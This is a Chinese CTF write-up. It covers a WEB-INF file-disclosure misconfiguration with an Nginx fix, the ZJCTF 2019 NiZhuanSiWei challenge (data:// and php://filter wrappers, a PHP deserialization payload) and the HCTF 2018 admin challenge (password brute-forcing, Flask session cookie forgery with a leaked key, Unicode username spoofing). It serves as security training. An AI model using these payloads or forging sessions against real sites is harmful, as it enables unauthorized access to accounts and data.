漏洞成因:通常一些web应用我们会使用多个web服务器搭配使用,解决其中的一个web服务器的性能缺陷以及做均衡负载的优点和完成一些分层结构的安全策略等。在使用这种架构的时候,由于对静态资源的目录或文件的映射配置不当,可能会引发一些的安全问题,导致web.xml等文件能够被读取。

漏洞检测以及利用方法:通过找到web.xml文件,推断class文件的路径,最后直接class文件,在通过反编译class文件,得到网站源码。一般情况,jsp引擎默认都是禁止访问WEB-INF目录的,Nginx 配合Tomcat做均衡负载或集群等情况时,问题原因其实很简单,Nginx不会去考虑配置其他类型引擎(Nginx不是jsp引擎)导致的安全问题而引入到自身的安全规范中来(这样耦合性太高了),修改Nginx配置文件禁止访问WEB-INF目录就好了: location ~ ^/WEB-INF/* { deny all; } 或者return 404; 或者其他!

六.文件包含漏洞

(24)[ZJCTF 2019]NiZhuanSiWei

 

 

第一层绕过:

if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf"))

要求我们传入一个text文件,内容为welcome to the zjctf,才能继续后面的步骤

先了解一下file_get_contents()函数

可以用php://input伪协议以POST传参'welcome to the zjctf '(目前不会)

也可以将文件内容通过data伪协议写进去,然后让file_get_contents()函数进行读取

?text=data://text/plain,welcome to the zjctf

在这个 URL 中,text 参数的值 data://text/plain,welcome to the zjctf 就是使用 data 伪协议。data://text/plain 表示这是一个纯文本数据,后面的 welcome to the zjctf 就是具体的数据内容

当然,保险起见还是应该将welcome to the zjctf进行base64编码然后再进行上传,不然可能会过滤(不过本题没有过滤) 

?text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=

 

第二层绕过: 

 

正则过滤掉flag,而题目又提示了useless.php,然后有一个可控参数file,构造file=useless.php,但是针对php文件我们需要进行base64编码,否则读取不到其内容。 

所以用php://filter协议来读取useless.php

?text=data://text/plain,welcome to the zjctf&file=php://filter/read=convert.base64-encode/resource=useless.php

PD9waHAgIAoKY2xhc3MgRmxhZ3sgIC8vZmxhZy5waHAgIAogICAgcHVibGljICRmaWxlOyAgCiAgICBwdWJsaWMgZnVuY3Rpb24gX190b3N0cmluZygpeyAgCiAgICAgICAgaWYoaXNzZXQoJHRoaXMtPmZpbGUpKXsgIAogICAgICAgICAgICBlY2hvIGZpbGVfZ2V0X2NvbnRlbnRzKCR0aGlzLT5maWxlKTsgCiAgICAgICAgICAgIGVjaG8gIjxicj4iOwogICAgICAgIHJldHVybiAoIlUgUiBTTyBDTE9TRSAhLy8vQ09NRSBPTiBQTFoiKTsKICAgICAgICB9ICAKICAgIH0gIAp9ICAKPz4gIAo=

第三层绕过:

将base64编码返回值进行解码得到useless.php内容

得到反序列模板

<?php  class Flag{  //flag.php  public $file;  public function __tostring(){  if(isset($this->file)){  echo file_get_contents($this->file); echo "<br>";return ("U R SO CLOSE !///COME ON PLZ");}  }  
}  
?>  

构造反序列 

<?php
class Flag{  //flag.phppublic $file="flag.php";public function __toString(){if(isset($this->file)){echo file_get_contents($this->file);echo "<br>";return ("U R SO CLOSE !///COME ON PLZ");}}
}
$a=new Flag();
echo serialize($a);
?>

序列化结果:O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}

最终构造

?text=data://text/plain,welcome to the zjctf&file=useless.php&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}

查看源码

 

七.flask session伪造&Unicode 编码欺骗

(21)[HCTF 2018]admin 

非预期解

login登录;register注册

右上方有一个菜单,存在登陆模块,尝试使用 admin 登陆,对密码进行爆破,发现密码为 123,随即获得 flag。

抓包发至intruder爆破模块

所以密码是123,这里它被重定向(相当于无法访问)到index,所以要手动登录 

但实际上,该题的真正考点并不是弱密码。查看源代码,发现提示  

先注册后登录

起初注册admin,显示这个用户名已经被注册了,重新来

账号xwj

密码456

(要自己设一个,避免与他人相同导致注册不成功)

index是当前页面

post是向服务器发出请求

change password是更换密码

logout是注销(登出)

方法一:flask session伪造

在change password那里查看源码,可以看到有提示:(所有页面源码要看完看仔细)

发现,有一个 github 项目地址:https://github.com/woadsl1234/hctf_flask/

打开源码,找到index.html,发现确实是当为admin用户时就会输出flag

一.flask session的伪造。(账号已知为admin,再伪造一个密码)

因为flask的session是在客户端的,因此可以尝试进行伪造。破解不难,但是伪造需要密钥。正好密钥就在https://github.com/woadsl1234/hctf_flask/ 项目里(目前该项目已经打不开了)。因此这里直接给出 key:ckj123

发现该项目名有 "flask" 字样,猜测后端使用的是 Python 的 Flask 框架。

在登录后,通过抓取网页请求包,可以发现 session 内容。(一定要登录之后再抓包,这一定很重要,不然被重定向)

重定向的含义与原理:

重定向是指服务器将客户端(如浏览器)的请求从一个 URL 引导到另一个 URL。在网络通信中,服务器可以根据各种条件,如请求的资源已移动、用户的权限或特定的业务逻辑等,发送重定向指令给客户端,告诉客户端应该去访问另一个地址。 

 

上面左边是客户端(请求端),右边是服务端(响应端),它门两个的session是不一样的,而且每一次加载后都会变化,但是解码出来是相同的,记录的是同一个注册信息 

而 Flask 是非常轻量级的 Web 框架 ,其 session 存储在客户端中,也就是说其实只是将相关内容进行了加密保存到 session 中。和服务端的 session 不同,服务端的 session 保存在服务端中,依靠客户端 Cookie 值中的 session Id 来进行识别。

在本题中,可以通过更改客户端session 里面的用户名为 admin(服务端也会随之响应变化),实现伪造 admin 登录。

F12也可以同时看客户端和服务端的session,但不能更改

(A为密钥,B为明文,C为输出的密文)
解码
python flask_session_cookie_manager3.py decode -c "C" -s "A"
B

编码
python flask_session_cookie_manager3.py encode -s "A" -t "B"
C

使用密码将把原来的session解码:

python flask_session_cookie_manager3.py decode -c ".eJw90M1qg0AQAOBXKXP2YIxehBwaNFJhV4RVmb1Ia0x1p5uCJmg25N07yaGHYWB2-ebnDu1p6ucB4st07T1oxyPEd3j7ghjQaitdTlrpQasDoat8aWijE3ETST0WGdeCepQOQ5GliwwwREVOWlzQlpFwXSAcuaLBVRvaosKI_2yFytndW9nUpM3eFFm1smNFJlZp0xWb0mlzJNngTSY5iaQKpal8DDBC0y362Vd1vnTpUmS4cuzg4UE3T6f28kv9-X8F5kk8KZX_CMuEykdt3pk_WHTEYw38_hEJVXKLeuDs9PfuxZ0_bc_Euhjw4Dr30-s2sPHh8Qc2cmdV.aACRGw.nFiAZt_ILDFWBItnMT0Ss3t1ykM" -s "ckj123"

{'_fresh': True, '_id': b'bff72de6ae1dc54695d3205b8adceb7680a07f8a936f0bd93763939f1f97a697f712f70f5edf0c8e1cef0c16a1ad3f7d5f242d058654cf9b70dada747108f18f', 'csrf_token': b'f0d27d52e2e4a2bf03f1fc91f8d22914865a143f', 'name': 'xwj', 'user_id': '10'} 

改name的xwj改为admin,再使用密码进行编码 

.eJw90M2KgzAQAOBXWebswdp6EXrYopUVEhGiMrmU1trVzMYFbdGm9N132sMehoFJ-ObnAYfL2E4dRNfx1npw6M8QPeDjBBGg1Va6jLTSnVZ7Qlf60tBKx-Iu4qrPU64FVS8dbkSazDLADSpy0uKMtgiFawLhyOU1LtrQGhWG_GctVMbuzsq6Im12Jk_LhR0rUrFImyxYF06bM8ka7zLOSMTlRprSxwBDNM2sX31V40uXzHmKC8cWnh4003g5XH-pHf5XYJ7Ei1LZj7BMqKzX5pP5vUVHPFbH71-hUAW3qDrOTn9v39xwtC0Tx7PtB_DgNrXj-zqw8uH5BwezaAU.aACT6Q.IAH8EcNRzLWem2vASwKCf9tLJZ8 

自始至终,密码都不用管,因为你已经注册登录进去了,只需要修改用户名为admin,并且使用真密码进行假密码的伪造

同一个网页每次刷新加载出的session都是不一样的,但得到的解码一样

然后修改session重新发送

或者F12-应用-Cookie-session值右键修改,然后重新加载index页面 

 

方法二:Unicode 编码欺骗

在代码审计的时候,发现,注册、登录和修改密码处,都对用户名进行了小写转化

 

假设第一次注册时,输入用户名转化为 ADMIN ,我们再去修改密码时转化为 admin,这样就可以绕过登录和注册界面直接修改 admin 的密码了。因此进行 Unicode 编码欺骗;这里原理就是利用nodeprep.prepare函数会将unicode字符ᴬ转换成A,而A在调用一次nodeprep.prepare函数会把A转换成a

有个脚本,能把ADMIN变为ᴬᴰᴹᴵᴺ

ᴬᴰᴹᴵᴺ -> ADMIN -> admin

首先我们注册ᴬᴰᴹᴵᴺ用户。然后用ᴬᴰᴹᴵᴺ用户登录;因为在登录时login函数里使用了一次nodeprep.prepare函数,因此我们登录上去看到的用户名为ADMIN

此时我们点change password修改密码,在修改时就会再一次调用了一次nodeprep.prepare函数将ADMIN转换为admin,这样我们就可以改掉admin的密码,最后利用admin账号登录即可拿到flag 

注册并登录

ᴬᴰᴹᴵᴺ

456

 

改密码456为789 

注销或登出,再登录

admin

789

相关文章:

  • 计算机视觉——JPEG AI 标准发布了图像压缩新突破与数字图像取证的挑战及应对策略
  • HTTP 3.0 协议的特点
  • Oracle 19c部署之初始化实例(三)
  • AI编写的“黑科技风格、自动刷新”的看板页面
  • Echarts柱状图斜线环纹(图形的贴花图案)
  • 30Metrics Server的使用
  • 在VirtualBox上安装Ubuntu
  • Electron 中引入MessageChannel 大大缩短不同渲染进程和 Webview 各组件 1o1的通信链路
  • 山东大学软件学院创新项目实训开发日志(18)之对话自动生成标题设为用户第一次对话发的文字
  • C++11:模板元编程(TMP)基础
  • 深入理解C++数组:从基础到实践
  • 【已更新】2025华中杯C题数学建模网络挑战赛思路代码文章教学数学建模思路:就业状态分析与预测
  • Breeze 55A FOC 电调:无人机动力控制的高效核心方案
  • 蓝桥杯题目:二维前缀和
  • 【PyQt5】QLineEdit文本对话框点击时关联槽函数,槽函数打开文件选择对话框;并解决选择文件后闪退的问题
  • 【杂谈】-自动驾驶变革:货运革新与机器人出租车崛起
  • 非洲电商争夺战:中国闪电战遭遇本土游击队的降维打击
  • 合成数据在自动驾驶中的实践:工作流、关键技术与评估体系全解析
  • 四、小白如何用Pygame制作一款跑酷类游戏(页面暂停和主角跑步动作的实现)
  • 性能测试中TPS、并发数与线程数的关系
  • 深圳两家会所涉卖淫嫖娼各被罚7万元逾期未缴,警方发催告书
  • 壹基金发布2024年度报告,公益项目惠及937万人次
  • 铲屎官花5万带猫狗旅行,宠旅生意有多赚?
  • 国防部:奉劝有关国家不要引狼入室,甘当棋子
  • 水中托举救出落水孩童后遇难,42岁退役军人高武被确认为见义勇为
  • 外交部发言人就当前印巴局势答记者问